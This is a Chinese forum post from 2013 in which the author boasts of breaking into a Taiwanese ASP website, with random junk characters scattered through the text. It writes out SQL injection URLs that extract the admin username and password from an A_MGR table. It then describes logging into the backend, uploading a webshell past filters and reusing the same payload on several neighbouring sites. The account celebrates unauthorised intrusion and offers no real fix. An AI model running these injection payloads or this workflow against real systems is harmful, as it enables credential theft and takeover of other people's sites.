发现一个注入点
) e4 g- a. `" s8 f4 M8 xhttp://www.xxx.com /Diary_A.asp?UBID=&DCID=DC2012050610553697&DIID=DI2012050610583389
, P* Z+ S" r! S! d% _
: f: y1 B6 E7 X# T& ^9 s2 T* J" t习惯性的加’having1=1--
' I0 A) k- z6 p' G' ~5 X* X6 T* h8 F3 Z/ n
http://www.xxx.com.tw/Diary_A.asp?UBID=&DCID=DC2012050610553697&DIID=DI2012050610583389’having 1=1—
7 W/ @' {2 g5 c1 D0 i7 A
! v; f' `. t- E7 {) H' y0' d* B0 V% Z8 t( P
( [4 b$ [' C% ^$ M( T# b# y爆出Diary_A.dl_Title（这时候很激动啊）# @" K- y: y4 M4 m
/ p3 `% ]) A% \那么继续7 l; c0 N4 |$ `# S: d0 N, _
http://www.xxx.com.tw/Diary_A.asp?UBID=&DCID=DC2012050610553697&DIID=DI2012050610583389’group by dl_Title having 1=1—' r. d s7 v3 D
# p/ j5 b+ g' h. A7 F8 |$ c3 O0 F
继续，一直爆下去
+ s4 q X. z2 o0 n5 I" X$ h6 q0 q7 Q; h7 O) w' ]$ F# D
爆到几个字段和表段 但是没找到需要的管理用户的字段; l9 Q: w0 {9 B4 S) o9 y
; E5 ?; |. _2 o f5 f. m2 S' a
蛋疼了 怎么办 然后去后台登陆页看源码- }3 P) Y" n, v3 k
5 V/ e: z% E( l0
4 ~7 I/ X, {% @: q( [
( V9 f2 _3 t$ T Q; B. I$ \Input name= “ADUID”
# a& {! @7 ~+ HInput name= “ADPWD”8 A5 o$ {, }3 q) Q# g
" A& n# D' v3 o, O( a5 E
很幸运 找到了字段那就继续
7 b$ h9 J8 E( u找到之后开始爆用户
- G3 H- t! Y: Z, g8 S8 D( Ahttp://www.xxx.com.tw/Diary_A.asp?UBID=&DCID=DC2012050610553697&DIID=DI2012050610583389'and(select top 1 MGR_UID from A_MGR)>0—. R6 h! o8 a; D5 u
爆密码
' k7 r) z7 q( L, d3 ~' lhttp://www.xxx.com.tw/Diary_A.asp?UBID=&DCID=DC2012050610553697&DIID=DI2012050610583389'and(select top 1 MGR_PWD from A_MGR)>0—
0 W% E* u7 Q+ {# k |4 n测试了下 这个注入点只能爆到文章哪里的表
: t0 r7 |! R6 a) {2 ^7 ] d$ Y. T( I3 E6 T6 s' K3 ?) P
头疼 继续 既然只能报道文章哪里的表去后台爆 不过后台字符限制了
1 c; `% R! u& x* k3 c1 l+ s" d% B% i3 m& m, i- m2 q
又想到 用户登录哪里也可以的吧就去试试 果然 今天我很幸运吧 爆出来了
( Q: O3 U+ d- ?: }! J( s$ j" U. S! X' S$ C1 K
473$ ~. B; n* u) f( f
* I7 g8 D) W. ~$ F
进后台/ J; g9 F+ k+ C% q2 V
# D' @4 a Q0 l
7 p; O1 g6 y6 f6 r1 A8 W发现几个上传点 有的地方不能上传 而且防止恶意代码, W# d5 ^9 a8 g: O e( c2 ^
4 L) w6 c/ k, q, ^+ O, r) T没办法 各种百度各种找大牛 找到一只好像可以突破的马
) K- B' f- l( x7 ~' h3 l0 [# a1 \) e; i/ J# y9 ~. `
2 X; t+ H) j, H; h; j5 B" j. i6 Z
在系统管理那里直接上传 不过没有显示地址
# Z( m: p' @& S8 y7 H
8 S5 Y f' f: E2 k% y, y再上传一次 抓包 搞定OK
7 G8 |" P* Z! u0 G+ S1 ^, @. I* b$ ]
1 y7 d% `9 n( O- e+ t2 [+ m; b" x! w8 F
472
: u H! P$ K, S$ ~9 y& g( {
" H% g/ t7 t5 v8 P2 N. ]晚上不行了 去睡觉。。。
" y( k0 ^5 b! H S# F第二天刚起床 闲的没事做继续日站吧 ; ]4 N' t3 s M1 ?/ a, Q
& l1 z2 V' w7 ^7 B& O0 Y H
找个站 就把这个站的旁c扫了下
% Z- @- X: v6 v3 \, Y* i9 s
4 f8 g/ A% @( n" K6 v发现c段也有一个购物站 ，然后还和这个站的模板差不多2 ?2 }" Z& W+ \- C' z3 w" X& ^
$ T* d* P1 o. I2 r) v
就找到会员登录口测试% c" m5 N+ P* Y9 H
( \8 | k8 b* g'and (select top 1 MGR_UID from A_MGR)>0—
/ q% ]2 W+ b+ L7 P% l& {% o果断爆到了 这时候我很激动 通杀! Q) e* B M+ m" s
$ D5 G2 r! b# t9 c/ S7 U- p再次翻c段8 G! F; z K3 n8 z7 K, `) f
! y( d4 r# ^; ?翻出几个站 都成功拿下
, o7 u2 ?. N4 o* X9 F9 r9 X4 w6 e" Z+ @! _) z
! [+ n7 O3 U8 o
; G6 }% \. d- h1 ?; L) {- G
修复方案：
0 e1 C2 [& T& s8 h J他们比我专业
& A r1 Q8 ?9 Y8 j$ [2 G3 B. {& d' S( k @1 N7 E' K1 Q
, D! G* P) F) k* R+ `1 m4 ^& R1 X( l! ^6 Y
|
发表于 2013-4-4 17:40:38
收藏
支持
反对